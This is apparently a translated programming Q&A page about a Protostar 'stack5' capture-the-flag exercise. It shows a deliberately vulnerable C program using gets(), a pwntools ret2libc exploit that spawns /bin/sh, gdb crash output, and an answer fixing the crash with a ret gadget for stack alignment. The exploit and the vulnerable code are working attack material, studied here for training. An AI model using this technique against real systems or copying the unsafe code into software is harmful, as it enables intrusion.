Segfault в атаке ret2lib c, но не жестко закодированный системный вызов - PullRequest
1 голос
/ 17 марта 2020

У меня есть следующий вызов protostar

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[BUFFSIZE];
  char flagBuffer[64];
  FILE *fp;
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xff000000) == 0xff000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

И я собираю его как 64-битный с

gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5

Я использую pwntools для создания своего эксплойта. Вот мой файл exploit.py

from pwn import *

exe = './stack5'

context.clear(arch='amd64')
context.kernel = 'amd64'

system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a

binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}

rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()

Это вызывает segfault. После сохранения полезной нагрузки в txt-файл и запуска с помощью gdb, я обнаружил, что segfault происходит в do_system

input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]

Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov    rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>:  movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a332e6 <do_system+1078>: movq   xmm0,QWORD PTR [rsp+0x8]
   0x7ffff7a332ec <do_system+1084>: mov    QWORD PTR [rsp+0x8],rax
   0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
   0x7ffff7a332fb <do_system+1099>: call   0x7ffff7a23110 <__GI___sigaction>
   0x7ffff7a33300 <do_system+1104>: lea    rsi,[rip+0x39e2f9]        # 0x7ffff7dd1600 <quit>
   0x7ffff7a33307 <do_system+1111>: xor    edx,edx
   0x7ffff7a33309 <do_system+1113>: mov    edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>:    mov    rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>:  push   rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.

Что сбивает с толку, так это когда я добавляю вызов к system("/bin/sh"); в код c , вызов работает, и я выскакиваю оболочку, но когда я вызываю систему с помощью атаки ret2lib c, она вызывает ошибку.

1 Ответ

0 голосов
/ 22 марта 2020

После поиска инструкции movaps segfault я наткнулся на этот сайт , который объясняет проблему.

Проблема MOVAPS

Если вы используете Ubuntu 18.04 и segfaulting для инструкции movaps в buffered_vfprintf () или do_system () в 64-битных задачах, то убедитесь, что стек выровнен на 16 байт, прежде чем вернуться к функциям GLIB C, таким как printf () и system ( ). Версия GLIB C, поставляемая с Ubuntu 18.04, использует инструкции movaps для перемещения данных в стек в некоторых функциях. Соглашение о 64-битном вызове требует, чтобы стек был выровнен на 16 байт перед инструкцией вызова, но это легко нарушается во время выполнения цепочки ROP, в результате чего все дальнейшие вызовы из этой функции выполняются со смещенным стеком. MOVAPS вызывает общую ошибку защиты при работе с невыровненными данными, поэтому попробуйте добавить в свою цепочку ROP дополнительную задержку перед возвратом в функцию или вернуться в функцию, чтобы пропустить команду pu sh.

Простое добавление вызова в ret гаджет перед вызовом в system выровненных байтов, и позволило мне выложить оболочку.

...